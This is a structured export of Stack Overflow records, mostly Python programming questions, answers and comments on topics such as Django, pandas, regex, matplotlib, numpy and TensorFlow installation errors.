has comment: http://stackoverflow.com/comment/81598290
score: 1
answers question: http://stackoverflow.com/q/47271948
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47271948
has comment: http://stackoverflow.com/comment/81496416
has comment: http://stackoverflow.com/comment/81495426
has comment: http://stackoverflow.com/comment/81495627
has comment: http://stackoverflow.com/comment/81496467
has comment: http://stackoverflow.com/comment/81496341
downvote count: 0
type: Answer
has body: Your problem is with this (cropped) section: attendee_instance = Attendee() Attendee.objects.bulk_create( [Attendee(firstname=row[0], surname=row[1], email=row[2], ) attendee_instance.save() With the first attendee_instance, you're creating a blank Attendee object. You later save this blank object with attendee_instance.save(). The line in the middle - Attendee.objects.bulk_create... - you're passing in a single item list to bulk_create, so it creates the object (with data) there. You don't need both. What you want is probably: Attendee.objects.create(firstname=row[0], surname=row[1], email=row[2], ) You don't need the bulk_create unless you're creating more than one object, you can just use straight-up create. Similarly, you don't need to create the object by attendee_instance=Attendee() and then manually change the attributes, when you can do it all in one go as described above. It's worth noting the caveats on the limitations of bulk create, particularly if you're not using Postgres, and also if you get to the point of using post_save and pre_save signals. The create method does trigger those save signals, so just make sure that you use the most appropriate one for your use case

http://stackoverflow.com/a/47303859
has body: You are using Python strings delimited with ". In this particular execute() call, you have four of them; the resulting SQL statement looks like this: SELECT CONCAT(fname, , mi, , lname) FROM Patients WHERE lname LIKE ?) In SQL, you should delimit strings with '. (And the standard SQL way of concatenating strings is the || operator, and you have a superfluous ).)
type: Answer
answers question: http://stackoverflow.com/q/47295708
score: 0

http://stackoverflow.com/comment/81676077
score: 1
comment on: http://stackoverflow.com/q/47360766
type: QuestionComment
has text: Like I said, if it doesn't need to be in there to reproduce the problem, you should remove it. If you expect help, you've got to be willing to show a little effort.
type: Comment

http://stackoverflow.com/comment/81712727
type: Comment
type: QuestionComment
score: 0
has text: File "C:\Users\mben6270\Downloads\mben6270_a7\mben6270_a7\src\a7_functions.py", line 56, in largest_even a = (n_list[n]) % 2 TypeError: not all arguments converted during string formatting
comment on: http://stackoverflow.com/q/47379976

http://stackoverflow.com/comment/81687202
comment on: http://stackoverflow.com/a/47366667
has text: @comp.eng. there's nothing wrong with conditionals in functional programming. Haskell has if, guard clauses and pattern matching, all forms of conditionals -- there's no way to stop recursion without conditions.
type: AnswerComment
score: 5
type: Comment

http://stackoverflow.com/comment/81436663
comment on: http://stackoverflow.com/a/47242985
has text: Thank you. I use the code with `path = os.getcwd()`, but I am getting error: `NameError: name 'paths' is not defined.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/121448301
type: Comment
comment on: http://stackoverflow.com/a/58269675
score: 0
type: AnswerComment
has text: Since this doesn't directly answer OP's question, it might get deleted at some point via peer review. Personally I would hate to see this info get deleted since it seems pretty useful. @qwitwa I suggest that you post this as a new question, answer+accept it yourself, then link to your new post in a comment on this question.

http://stackoverflow.com/comment/81418931
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/158739/discussion-between-zainy-and-john-zwinck).
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47234079

http://stackoverflow.com/comment/81626094
score: 1
comment on: http://stackoverflow.com/a/47336762
has text: @Wen I love learning new stuff! You would believe, that i didn't no you could reuse index values in reindex. I have alway used reindex to shuffle or add indexes but never to duplicate has you have done here. Beautiful. Nice one. +1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47261399
score: 2
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47261346
type: AcceptedAnswer
has body: df is not a dataframe. It is a list of dictionaries. As such, your only option is a loop and an if condition: for connection in df: if connection['source'] == '192.168.10.10': print(connection['mpls']) print(connection['destination']) # do whatever with connection. Can also break if it is guaranteed to be unique. However, if df is a dataframe, you can use pandas indexing syntax: relevant_rows = df[df['source'] == '192.168.10.10'] relevant_rows will then be a new dataframe whose rows are those where source equals '192.168.10.10'. import pandas as pd data = [ {'mpls': '123-0-1', 'source': '192.168.10.10', 'destination' : '12.168.100.10'}, {'mpls': '123-0-1', 'source': '192.168.10.15', 'destination': '10.12.129.200'} ] df = pd.DataFrame(data) print(df) # destination mpls source # 0 12.168.100.10 123-0-1 192.168.10.10 # 1 10.12.129.200 123-0-1 192.168.10.15 relevant_rows = df[df['source'] == '192.168.10.10'] print(relevant_rows) # destination mpls source # 0 12.168.100.10 123-0-1 192.168.10.10
type: Answer
answers question: http://stackoverflow.com/q/47261346

http://stackoverflow.com/q/47308831
has answer: http://stackoverflow.com/a/47309180
answer count: 1
has body: I am currently reading "Dive Into Python" and in Chapter 6 the author has defined a function using regex that changes singular English nouns to plural ones. Here it is: def plural(noun): if re.search('[sxz]$', noun): return re.sub('$', 'es', noun) elif re.search('[^aeioudgkprt]h$', noun): return re.sub('$', 'es', noun) elif re.search('[^aeiou]y$', noun): return re.sub('y$', 'ies', noun) else: return noun + 's' I decided to write a function that changes singular French nouns to plural ones. This is what it looks like: def plural(noun): if re.search('[sxz]$', noun): return re.sub('$', '', noun) elif re.search(r'''au$|al$|ail$| [^\bbijou\b| # exceptions \bcaillou\b| \bchou\b| \bgenou\b| \bhibou\b| \bjoujou\b| \bpou\b]''', noun, re.VERBOSE): return re.sub('au$|al$|ail$', 'aux', noun) elif re.search(r'''\bbijou\b| \bcaillou\b| \bchou\b| \bgenou\b| \bhibou\b| \bjoujou\b| \bpou\b''', noun, re.VERBOSE): return re.sub('ou$', 'oux', noun) elif re.search('eu$', noun): return re.sub('$', 'eux', noun) elif re.search('eau$', noun): return re.sub('$', 'eaux', noun) elif re.search('ou$', noun): return re.sub('ou$', 'ous', noun) else: return noun + 's' It works for the most part, but! for some reason if a noun (for example: fleur) just needs to be added "s" (the "else" statement), it doesn't work... It just returns 'fleur', but should return 'fleurs'. I run the code in the visualizer and this is where the problem is: elif re.search(r'''au$|al$|ail$| [^\bbijou\b| \bcaillou\b| \bchou\b| \bgenou\b| \bhibou\b| \bjoujou\b| \bpou\b]''', noun, re.VERBOSE): When I delete "[^\bbijou\b| \bcaillou\b| \bchou\b| \bgenou\b| \bhibou\b| \bjoujou\b| \bpou\b]" then the "else" part works. I just want to understand what exactly the problem is and how to fix it.
has comment: http://stackoverflow.com/comment/81610926
tagged with: python
tagged with: regex
type: Question
score: 0
has comment: http://stackoverflow.com/comment/81571744
has title: Function that changes singular French nouns into plurals doesn't work properly (regex)
type: UnansweredQuestion

virtual-machine
tag name: virtual-machine
type: Tag
tags question: http://stackoverflow.com/q/47335731
tags question: http://stackoverflow.com/q/47312023

pyinstaller
tags question: http://stackoverflow.com/q/47298729
tags question: http://stackoverflow.com/q/47234552
tags question: http://stackoverflow.com/q/47380748
tags question: http://stackoverflow.com/q/47374966
tags question: http://stackoverflow.com/q/47350078
tags question: http://stackoverflow.com/q/47363267
type: Tag
tags question: http://stackoverflow.com/q/47294822
tags question: http://stackoverflow.com/q/47342714
tag name: pyinstaller
tags question: http://stackoverflow.com/q/47289279
tags question: http://stackoverflow.com/q/47318119
tags question: http://stackoverflow.com/q/47249845

http://stackoverflow.com/comment/81699758
score: 0
has text: when the server restarts won't i lose the values from redis as well?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47373160

http://stackoverflow.com/a/47235004
type: Answer
answers question: http://stackoverflow.com/q/47228458
downvote count: 0
score: 1
upvote count: 1
has body: The channel you referenced tlatorre does not contain a windows version of pygame, only linux. You can find a windows version in the cogsci channel, and can be installed with: conda install -c cogsci pygame

http://stackoverflow.com/a/47318203
upvote count: 1
answers question: http://stackoverflow.com/q/47318174
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47318174
downvote count: 0
has body: Tuples can be concatenated by addition: pygame.draw.ellipse(self.image, WHITE + (50,), self.rect) For example, &gt;&gt;&gt; (255, 255, 255) + (50,) (255, 255, 255, 50) Lists, by the way, behave analogously: &gt;&gt;&gt; [255, 255, 255] + [50] [255, 255, 255, 50]
type: Answer

http://stackoverflow.com/q/47319953
has title: Removing old, overlaid circles (crater) from density diagram
tagged with: python
score: -1
tagged with: erase
tagged with: graphing
type: Question
tagged with: geometry
has comment: http://stackoverflow.com/comment/81637826
upvote count: 0
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47408016
downvote count: 1
favorite count: 0
has body: I'm writing a code to create a diagram of crater density. Essentially, every new crater is plotted as a circle, and circles are allowed to overlay each other (because new craters can erase old ones). I was wondering if there's any way to remove circles that have been overlain, or to create a counter to only count how many uninterrupted circles there are? My objective is to count how many 'fresh' craters (circles) there are that haven't been erased by other ones. The first code is my code for creating and plotting these circles (the xx+1, yy+1 is to add a 'shadow' effect). fig, ax = pl.subplots() #this is going to create a random list to pull center coordinates from xcenter = np.random.randint(501, size = 500) ycenter = np.random.randint(501, size = 500) #start a counter at 0 so we can see the progression of time time = 0 #now to zip the x and y center coordinates and make circles for xx, yy in zip(xcenter, ycenter): cratershadow = Circle((xx, yy),5, color = 'b') ax.add_patch(cratershadow) crater = Circle((xx+1, yy+1), 5, color = 'c') ax.add_patch(crater) time += 1 #setting the axiis(?) to be up to 500 km ax.set_xlim((0,500)) ax.set_ylim((0,500)) pl.xlabel("X side, 500 km Field") pl.ylabel("Y side, 500 km Field") pl.title("Crater Density Plot - 500,000 years") pl.show()

http://stackoverflow.com/comment/81454741
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47249951
type: Comment
has text: Weird.. I copied my code back and run it, and it works! Really grateful for the support thank you!

http://stackoverflow.com/q/47314864
tagged with: pandas
possible better answer: http://stackoverflow.com/a/47315092
has answer: http://stackoverflow.com/a/47315092
type: Question
has title: Keep only dataframe rows closest to given values
tagged with: python
has body: I have a dataframe df1 with some variables, given for certain values A: df1 = pd.DataFrame({"A": [110.035,110.078,110.732,112.828,112.930], "var1": np.random.random(5), "var2":np.random.random(5)}) A var1 var2 0 110.035 0.500537 0.571497 1 110.078 0.234550 0.732815 2 110.732 0.337149 0.098250 3 112.828 0.190261 0.366118 4 112.930 0.990539 0.892640 and a dataframe df2 of values A like df2 = pd.DataFrame({"A": [110.04, 112.83]}) A 0 110.04 1 112.83 Now I want to keep all values in df1, that are closest to one of the values in df2 and drop all the others. In my example I want to keep rows 0 and 3 only. My idea is to build the absolute differences and use argsort(): (df1.A-x).abs().argsort()[:1] but this works for one value x only, how can I extend this to all values in df2?
has comment: http://stackoverflow.com/comment/81580769
accepted answer: http://stackoverflow.com/a/47314988
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47314988

http://stackoverflow.com/a/47234035
answers question: http://stackoverflow.com/q/47233882
type: Answer
score: 0
has body: Well you can easily do that with for nested loops ...but my guess is that your teacher is trying to make you think how to optimize it. I would sort each of the arrays. First each one containing strings and then the top level arrays containing arrays. With that the task becomes m.log(n) where m is the size of the 2nd array and n is the size of the 1st array. Is this making sense to you ?

http://stackoverflow.com/comment/81632917
type: QuestionComment
comment on: http://stackoverflow.com/q/47340189
type: Comment
has text: Please consider marking answer as correct if it helped. Welcome to SO!
score: 0

http://stackoverflow.com/q/47336856
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47337065
accepted answer: http://stackoverflow.com/a/47337065
has body: I wrote a script that works, but when I open it as a .py file email attachment, after I finish answer the inputs and it runs, it closes. What can I do to stop this. Here is the code if it helps: # Write a program to solve an ancient Chinese puzzle: We count 35 heads # and 94 legs among the chickens and rabbits on a farm. How many rabbits # and how many chickens are there? # Inputs the number of heads and legs, respectively. # Makes sure it is read as an integer. h=input('Enter the number of heads:') heads=int(h) le=input('Enter the number of legs:') legs=int(le) # Executes a while loop while the total number of rabbits is less # than or equal to 35. rabbits=0 while rabbits &lt;= heads: chickens = heads - rabbits # Prints the result if there are 35 heads and 94 legs found. if 2 * chickens + 4 * rabbits == legs and chickens + rabbits == heads: print('There are', rabbits, 'rabbits and', chickens, 'chickens.') break rabbits+=1 if 2 * chickens + 4 * rabbits != legs or chickens + rabbits != heads: print('No answer.')
score: -2
tagged with: python
linked to: http://stackoverflow.com/q/983354
has comment: http://stackoverflow.com/comment/81625509
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81625504
upvote count: 0
duplicate of: http://stackoverflow.com/q/983354
downvote count: 2
answer count: 1
has title: Stop .py files from terminating after script execution

http://stackoverflow.com/comment/81680467
comment on: http://stackoverflow.com/q/47356964
type: QuestionComment
has text: i tried it with "pizza" and after some outputs it was show me : "list index is out of the range" not : TypeError: append() takes no keyword arguments!!!
score: 0
type: Comment

http://stackoverflow.com/a/47334924
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47333949
accepted answer of: http://stackoverflow.com/q/47333949
type: Answer
upvote count: 6
score: 6
has body: If I understand correctly, you want to achieve this: from PIL import Image tupledlist=[(71, 146, 110), (71, 146, 98), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 91), (71, 146, 26), (71, 146, 110), (71, 146, 95), (71, 146, 109), (71, 146, 110), (71, 146, 26), (71, 146, 103), (71, 146, 95), (71, 146, 109), (71, 146, 109), (71, 146, 91), (71, 146, 97), (71, 146, 95), (71, 146, 26), (71, 146, 91), (71, 146, 104), (71, 146, 94), (71, 146, 26), (71, 146, 110), (71, 146, 98), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 99), (71, 146, 109), (71, 146, 26), (71, 146, 91), (71, 146, 26), (71, 146, 110), (71, 146, 95), (71, 146, 109), (71, 146, 110), (71, 146, 26), (71, 146, 102), (71, 146, 99), (71, 146, 109), (71, 146, 110)] OUTPUT_IMAGE_SIZE = (1280, 720) image = Image.new('RGB', OUTPUT_IMAGE_SIZE) image.putdata(tupledlist) image.save("path.png") print("Saved image.") image=Image.open("path.png") print(list(image.getdata())) The list with the RGB values will be stored in the image, but the rest of the pixels remaining will take RGB values (0,0,0). Printing them will show you all of the 921600 (1280x720) pixels.

http://stackoverflow.com/comment/81429606
has text: would `df.groupby(level=0).filter(lambda g: g.count() != 3)` have the same effect?
type: Comment
comment on: http://stackoverflow.com/a/47239563
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81587946
score: 0
comment on: http://stackoverflow.com/a/47318374
has text: Yup, but: pip3 install <module-name>
type: Comment
type: AnswerComment

http://stackoverflow.com/a/48103717
answers question: http://stackoverflow.com/q/47340498
score: 0
has body: From the screenshot it appears that the telnet connection is closed and hence the loop errors out. The best way to debug this is to read every single line of output and try to figure out where the connection closes. iter=0 while True: iter = iter + 1 # Check for new line line = telnet.read_until(('\r\n').encode('ascii'), timeout=1) a = (line.decode("ascii")) print(a) time.sleep(1) if iter == 10: break Use this code at many suspect points to see what output you missed with read_until. good luck debugging!
type: Answer

http://stackoverflow.com/comment/81398985
has text: ```def check_classifiers_regression_target(name, Estimator): # Check if classifier throws an exception when fed regression targets ``` that is the function that throws the error ... Not sure how to detect this "when fed regression targets".
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47224237
score: 0

http://stackoverflow.com/comment/81462683
has text: `range(4000000)`? You're in for a (big) surprise...
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47255899
type: Comment

http://stackoverflow.com/a/47379709
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47379040
answers question: http://stackoverflow.com/q/47379040
type: Answer
has body: From what i understand the is_book_blockis in the line when you loop through lines every line is a record it self you call write if you want to set more than field or just change that field: # when you change just one field no need for write just rec.state = 'work_in_progress' # is enough # because rec.state will trigger write method # but for more than one field use write to trigger it only one time # line is a record too you can call write also if you want line.is_book_block = True One thing remove order_lines.is_book_blockfrom onchange decorator because you will trigger an infinitive call for the the method : @api.onchange('order_lines')
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81414209
type: Comment
type: QuestionComment
has text: @andrew_reece my apologies. I had some typos in the code that I fixed
comment on: http://stackoverflow.com/q/47231398
score: 0

http://stackoverflow.com/comment/81533823
score: 0
type: Comment
has text: I tried your solution and it does not work. You can check the updated question with the last image.
type: AnswerComment
comment on: http://stackoverflow.com/a/47291333

http://stackoverflow.com/comment/81453965
type: QuestionComment
comment on: http://stackoverflow.com/q/47251818
has text: @JasiuCzajka He's trying to say that you're invoking a function before you've actually defined it.
score: 1
type: Comment

http://stackoverflow.com/q/47382359
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81789352
has comment: http://stackoverflow.com/comment/81717759
upvote count: 1
has comment: http://stackoverflow.com/comment/81854489
has comment: http://stackoverflow.com/comment/81907683
has body: I want a simple script that reboots the raspberry pi itself 5 minutes after a voluntary shutdown programmatically using python. My script just reboots it immediately. if temp &gt; 70: os.system("sudo reboot") How can I achieve that?
has comment: http://stackoverflow.com/comment/81717614
tagged with: linux
has title: How to reboot a Raspberry Pi 5 minutes after shutdown?
tagged with: boot
has comment: http://stackoverflow.com/comment/81717493
tagged with: operating-system
has comment: http://stackoverflow.com/comment/81717899
tagged with: python
has comment: http://stackoverflow.com/comment/81754836
score: -3
has comment: http://stackoverflow.com/comment/81717693
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81755263
has answer: http://stackoverflow.com/a/47382829
has comment: http://stackoverflow.com/comment/81781806
has comment: http://stackoverflow.com/comment/81754896
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/81717532
tagged with: raspberry-pi
has answer: http://stackoverflow.com/a/63460291

http://stackoverflow.com/comment/81458299
has text: @Jean-FrançoisFabre In that case, why not process the existing dict to create a new one with the desired keys. Fast and simple.
comment on: http://stackoverflow.com/q/47253892
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47323828
upvote count: 2
has body: I have python 3.5 installed on my Linux Mint (Ubuntu 16.04 Xenial) I also had installed protobuf installed using pip3 install protobuf I installed tensorflow using pip3 install tensorflow Then I tried to import tensorflow in python 3 it failed with error presented below: Traceback (most recent call last): File "/home/abdullah/face_recognition/tensorflow_test.py", line 1, in &lt;module&gt; import tensorflow File "/usr/local/lib/python3.5/dist-packages/tensorflow/__init__.py", line 24, in &lt;module&gt; from tensorflow.python import * File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/__init__.py", line 83, in &lt;module&gt; from tensorflow.python.estimator import estimator_lib as estimator File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/estimator/estimator_lib.py", line 35, in &lt;module&gt; from tensorflow.python.estimator.inputs import inputs File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/estimator/inputs/inputs.py", line 22, in &lt;module&gt; from tensorflow.python.estimator.inputs.numpy_io import numpy_input_fn File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/estimator/inputs/numpy_io.py", line 22, in &lt;module&gt; from tensorflow.python.estimator.inputs.queues import feeding_functions File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/estimator/inputs/queues/feeding_functions.py", line 40, in &lt;module&gt; import pandas as pd File "/usr/local/lib/python3.5/dist-packages/pandas/__init__.py", line 23, in &lt;module&gt; from pandas.compat.numpy import * File "/usr/local/lib/python3.5/dist-packages/pandas/compat/__init__.py", line 361, in &lt;module&gt; from dateutil import parser as _date_parser File "/usr/local/lib/python3.5/dist-packages/dateutil/parser.py", line 158 l.append("%s=%s" % (attr, `value`)) ^ SyntaxError: invalid syntax Consulting through many questions posted on SO and other forums, I tried uninstalling protobuf then I encountered following error. Traceback (most recent call last)…
score: 2
answer count: 2
tagged with: deep-learning
downvote count: 0
has answer: http://stackoverflow.com/a/47527886
has answer: http://stackoverflow.com/a/47323960
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
has title: Error importing tensorflow in Python 3 on Ubuntu 16.04 SyntaxError: l.append("%s=%s" % (attr, `value`))
tagged with: python
tagged with: computer-vision
tagged with: ubuntu

http://stackoverflow.com/comment/81761166
comment on: http://stackoverflow.com/a/47354114
score: 0
type: Comment
has text: You do realize that f-string `f'np.s_[{b}]'` can not be used in Python 2.7? I was wondering how OP got this working! Hahahaha!
type: AnswerComment

http://stackoverflow.com/comment/81699323
has text: without knowing your file structure it's hard to answer. if you put all your classes in the same file, all of them will have the same logger since you use `__name__` which doesn't reference to a class name, only to module.
score: 0
comment on: http://stackoverflow.com/q/47344207
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47305899
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81564707
type: Question
has body: I know for sure that if system python is updated we need to recreate the virtualenvs. Still, I don't know if there are cases which may indicate us that virtualenvs may need recreation. Do you know a more complete list of checks to be done for this? Please note that I am looking for a way to figure out this that does not include looping across all virtualenvs on a machine. I am only looking for a trigger that is not dependent on individual virtualenvs.
type: UnansweredQuestion
tagged with: python
tagged with: virtualenv
has title: How to detect if you need to recreate python virtualenvs?
has comment: http://stackoverflow.com/comment/81562225

menu
tags question: http://stackoverflow.com/q/47286349
type: Tag
tag name: menu
tags question: http://stackoverflow.com/q/47349960

http://stackoverflow.com/a/47377148
score: 0
type: Answer
has body: I solved it by running an scheduled task which runs defined task with desired expiry time: @shared_task(bind=True, queue='q1', max_retries=3) def parent_task(self, arg1): child_task.apply_async(kwargs={'arg1': arg1}, expires=86400) @shared_task(bind=True, queue='q1', max_retries=3) def child_task(self, arg1): pass
accepted answer of: http://stackoverflow.com/q/47311514
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47311514

http://stackoverflow.com/comment/81443686
comment on: http://stackoverflow.com/q/47246680
type: Comment
type: QuestionComment
has text: Welcome to StackOverflow. Have a look at [How to ask a good question](https://stackoverflow.com/help/how-to-ask); your current question is a little vague. What are your specific efficiency requirements? Show benchmarking data and targets, also what you've tried so far. For that matter, what do you mean by "efficient"? In general, make your question as specific as possible. That'll maximize your chance of getting a good, speedy answer. Having said all that, this question might be better for [CodeReview](https://codereview.stackexchange.com/).
score: 0

http://stackoverflow.com/q/47351483
has comment: http://stackoverflow.com/comment/81655587
tagged with: numpy
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47369584
accepted answer: http://stackoverflow.com/a/47369584
tagged with: correlation
has body: I have a large set of time series (> 500), I'd like to select only the ones that are periodic. I did a bit of literature research and I found out that I should look for autocorrelation. Using numpy I calculate the autocorrelation as: def autocorr(x): norm = x - np.mean(x) result = np.correlate(norm, norm, mode='full') acorr = result[result.size/2:] acorr /= ( x.var() * np.arange(x.size, 0, -1) ) return acorr This returns a set of coefficients (r?) that when plot should tell me if the time series is periodic or not. I generated two toy examples: #random signal s1 = np.random.randint(5, size=80) #periodic signal s2 = np.array([5,2,3,1] * 20) When I generate the autocorrelation plots I obtain: The second autocorrelation vector clearly indicates some periodicity: Autocorr1 = [1, 0.28, -0.06, 0.19, -0.22, -0.13, 0.07 ..] Autocorr2 = [1, -0.50, -0.49, 1, -0.50, -0.49, 1 ..] My question is, how can I automatically determine, from the autocorrelation vector, if a time series is periodic? Is there a way to summarise the values into a single coefficient, e.g. if = 1 perfect periodicity, if = 0 no periodicity at all. I tried to calculate the mean but it is not meaningful. Should I look at the number of 1?
downvote count: 0
answer count: 1
has title: Autocorrelation to estimate periodicity with numpy
favorite count: 0
has comment: http://stackoverflow.com/comment/81656801
type: Question
tagged with: time-series
has comment: http://stackoverflow.com/comment/81656484
has comment: http://stackoverflow.com/comment/81655897
tagged with: python
score: 11
has comment: http://stackoverflow.com/comment/81657414
upvote count: 11
has comment: http://stackoverflow.com/comment/81656865

http://stackoverflow.com/q/47234292
has title: Scatter plot with colorbar and datetime axis ticks
possible better answer: http://stackoverflow.com/a/47235352
tagged with: datetime
tagged with: python
has body: I am getting lost in different methods used in matplotlib. I want to create a colour-coded scatter plot with a colorbar on the side and datetime on the x axis. But depending on how I define my ax, I get different errors. Below is the core of my code: import numpy as np import pandas as pd import matplotlib.pyplot as plt import matplotlib.colors as mcolors import matplotlib.cm as cm import matplotlib.dates as mdates #.....loading files etc. norm = mcolors.Normalize(vmin=0,vmax=1000) timerange = pd.date_range(start='2015-01-01', end='2016-01-01', freq='30D') ### PLOTTING fig = plt.figure(figsize=(6.,5)) ax = fig.add_subplot(111) for Af in Afiles: for index, row in Af.iterrows(): time = pd.to_datetime(row['date'], format="%Y-%m-%d") plt.scatter(time, row['A'], c=row['z'], norm=norm, cmap=colormap,edgecolor='k', lw=0.8, s=80) plt.xticks(timerange, rotation=90) ax.xaxis.set_major_formatter(mdates.DateFormatter("%d/%m/%Y")) plt.xlabel('Time', fontsize=11, color='k') clb = fig.colorbar(ax) clb.ax.set_title('Value', y=-0.125, fontsize=11) clb.ax.invert_yaxis() fig.tight_layout() this produces AttributeError: 'AxesSubplot' object has no attribute 'autoscale_None' but if I specify my ax as the scatter plot so that I can get my colour-coding working, I then have trouble with the axis formatter. Writing instead ax = plt.scatter generates AttributeError: 'PathCollection' object has no attribute 'xaxis'. How can I have both the colorbar AND formatted axis ticks?
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: colorbar
tagged with: pandas
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47235352
accepted answer: http://stackoverflow.com/a/47236087
type: Question
has answer: http://stackoverflow.com/a/47236087

http://stackoverflow.com/comment/81575621
type: AnswerComment
has text: any clues on how? i'm trying to tweak ur old version around but not getting any results :/
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47312202

http://stackoverflow.com/comment/81529551
type: QuestionComment
score: 0
has text: I tried to read the file with xlrd library but I got the same error.
comment on: http://stackoverflow.com/q/47283342
type: Comment

http://stackoverflow.com/a/47310515
type: Answer
score: 0
has body: You can use regex: data = open('file.txt').read() import re data = re.sub('(?&lt;=\s)\d+(?=$)|(?&lt;=^)\d+(?&lt;=\s)|(\s\d+\s)', '', data) Output: I listened tou2 albums today meet me at squad 4ever
answers question: http://stackoverflow.com/q/47310379

http://stackoverflow.com/q/47342447
has comment: http://stackoverflow.com/comment/81637384
accepted answer: http://stackoverflow.com/a/47344620
downvote count: 1
tagged with: scipy
has comment: http://stackoverflow.com/comment/81661588
has comment: http://stackoverflow.com/comment/81637369
favorite count: 0
has comment: http://stackoverflow.com/comment/81661559
type: Question
has answer: http://stackoverflow.com/a/47344620
has comment: http://stackoverflow.com/comment/81637325
has comment: http://stackoverflow.com/comment/81637733
has comment: http://stackoverflow.com/comment/81637416
has comment: http://stackoverflow.com/comment/81637147
tagged with: python
has comment: http://stackoverflow.com/comment/81637487
has comment: http://stackoverflow.com/comment/81637131
has comment: http://stackoverflow.com/comment/81637672
has comment: http://stackoverflow.com/comment/81640334
upvote count: 13
has comment: http://stackoverflow.com/comment/81637356
has comment: http://stackoverflow.com/comment/81661485
score: 12
tagged with: numpy
type: AnsweredQuestion
tagged with: pandas
has comment: http://stackoverflow.com/comment/81637336
answer count: 1
has title: Find locations on a curve where the slope changes
has body: I have data points of time and voltage that create the curve shown below. The time data is array([ 0.10810811, 0.75675676, 1.62162162, 2.59459459, 3.56756757, 4.21621622, 4.97297297, 4.97297297, 4.97297297, 4.97297297, 4.97297297, 4.97297297, 4.97297297, 4.97297297, 5.08108108, 5.18918919, 5.2972973 , 5.51351351, 5.72972973, 5.94594595, 6.27027027, 6.59459459, 7.13513514, 7.67567568, 8.32432432, 9.18918919, 10.05405405, 10.91891892, 11.78378378, 12.64864865, 13.51351351, 14.37837838, 15.35135135, 16.32432432, 17.08108108, 18.16216216, 19.02702703, 20. , 20. , 20. , 20. , 20. , 20. , 20. , 20.10810811, 20.21621622, 20.43243243, 20.64864865, 20.97297297, 21.40540541, 22.05405405, 22.91891892, 23.78378378, 24.86486486, 25.83783784, 26.7027027 , 27.56756757, 28.54054054, 29.51351351, 30.48648649, 31.56756757, 32.64864865, 33.62162162, 34.59459459, 35.67567568, 36.64864865, 37.62162162, 38.59459459, 39.67567568, 40.75675676, 41.83783784, 42.81081081, 43.89189189, 44.97297297, 46.05405405, 47.02702703, 48.10810811, 49.18918919, 50.27027027, 51.35135135, 52.43243243, 53.51351351, 54.48648649, 55.56756757, 56.75675676, 57.72972973, 58.81081081, 59.89189189]) and the volts data is array([ 4.11041056, 4.11041056, 4.11041056, 4.11041056, 4.11041056, 4.11041056, 4.11041056, 4.10454545, 4.09794721, 4.09208211, 4.08621701, 4.07961877, 4.07228739, 4.06568915, 4.05909091, 4.05175953, 4.04516129, 4.03782991, 4.03123167, 4.02463343, 4.01803519, 4.01217009, 4.00557185, 3.99970674, 3.99384164, 3.98797654, 3.98284457, 3.97771261, 3.97331378, 3.96891496, 3.96451613, 3.96085044, 3.95645161, 3.95205279, 3.9483871 , 3.94398827, 3.94032258, 3.93665689, 3.94325513, 3.94985337, 3.95645161, 3.96378299, 3.97038123, 3.97624633, 3.98284457, 3.98944282, 3.99604106, 4.0026393 , 4.00923754, 4.01510264, 4.02096774, 4.02609971, 4.02903226, 4.03196481, 4.03416422, 4.0356305 , 4.03709677, 4.03856305, 4.03929619, 4.04002933, 4.04076246, 4.04222874, 4.04296188, 4.04296188, 4.04369501, 4.04442815, 4.0451612…

http://stackoverflow.com/comment/81534970
comment on: http://stackoverflow.com/a/47292096
type: Comment
has text: That's ok. Just give me a moment.
score: 0
type: AnswerComment

http://stackoverflow.com/q/47314070
upvote count: 1
accepted answer: http://stackoverflow.com/a/47314213
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47314213
tagged with: python-3.x
